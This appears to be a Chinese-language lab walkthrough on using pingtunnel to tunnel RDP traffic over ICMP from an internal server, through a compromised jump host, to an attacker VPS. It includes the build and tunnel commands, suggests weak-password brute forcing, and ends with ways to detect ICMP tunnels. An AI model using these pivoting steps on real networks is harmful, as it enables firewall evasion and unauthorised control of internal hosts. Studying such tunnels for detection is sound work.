一、pingtunnel工作原理
在上面的實驗環境中,我們將分別在攻擊機kali 2020和webserver上部署pingtunnel工具,在量太主機之間實現icmp隧道,再在kali2020上監聽1080(圖中寫錯了,沒改過來),將webserver訪問內網主機server2003遠程桌面3389的數據通過icmp協議進行數據封裝,然后轉發到kali2020的1080端口上,從而實現了win7上訪問server2003上3389端口的目的。webserver作為黑客的一個跳板,從而控制內網的主機。這個過程看起來跟ssh隧道本地端口轉發非常相似,不同之處知識穿透防火牆的流量是通過icmp協議,另一個是ssh協議。
二、部署pingtunnel
操作系統環境:兩台kali linux,兩台windows,一台防火牆(只允許icmp協議數據包通過),
1.下載pingtunnel
先到網站http://freshmeat.sourceforge.net/projects/ptunnel下載tar包文件,解壓編譯安裝
1>tar zxf PingTunnel-0.72.tar.gz
2>cd PingTunnel
3>make && makeinstall
注意:
安裝前要先安裝依賴庫(libpcap類似於wincap)
apt-get install flex
apt-get install -y byacc
wget http://www.tcpdump.org/release/libpcap-1.9.0.tar.gz
tar zxf libpcap-1.9.0.tar.gz
cd libpcap-1.9.0
./configure
make && make install
2.pingtunnel參數
-x 指定 icmp 隧道連接驗證密碼
-lp 指定要監聽的本地 tcp 端口
-da 指定要轉發到的機器的 ip 地址
-dp 指定要轉發到的機器的 tcp 端口
-p 指定icmp隧道另一端機器的 ip 地址
3.c/s命令
vps(攻擊機)命令:
ptunnel -p 192.168.4.134 -lp 1080 -da 1.1.1.10 -dp 3389 -x pass
webserver(跳板機)命令:
ptunnel -x shuteer
win 7 (黑客攻擊端)命令
win + R
mstsc
192.168.4.136:1080
接下來可以嘗試密碼弱口令暴力破解
此時我們就可以拿到內網主機的遠程桌面,實現遠程控制的目的了,請仔細看看我所標紅的IP地址,發現了什么,192.168.4.136是vps的ip地址,而這台主機的真正ip為1.1.1.10內網主機的ip
我們再看看數據經過ICMP隧道,在pingtunnel上留下的記錄
可以很情緒的看到session會話
三、防御ICMP隧道攻擊的方法
許多網絡管理員會阻止ICMP通信進出站點。但是出站方向,ICMP通信是被允許的,而且目前大多數的網絡和邊界設備不會過濾ICMP流量。使用ICMP隧道時會產生大量的ICMP數據包,我們可以通過wireshark進行ICMP數據包分析以檢測惡意ICMP流量,具體方法如下。
.檢測同一來源的ICMP數據包的數量。一個正常的ping 命令每秒最多發送兩個數據包,而使用ICMP隧道的瀏覽器會在很短的時間內產生上千個ICMP數據包。
.注意那些Payload大於64bit的ICMP數據包
.尋找相應數據包中的payload與請求數據包中的payload不一致的ICMP數據包
.檢查ICMP數據包的協議標簽。例如,icmptunnel會在所有的ICMP payload前面添加"TUNL"標記來標識隧道----這就是特征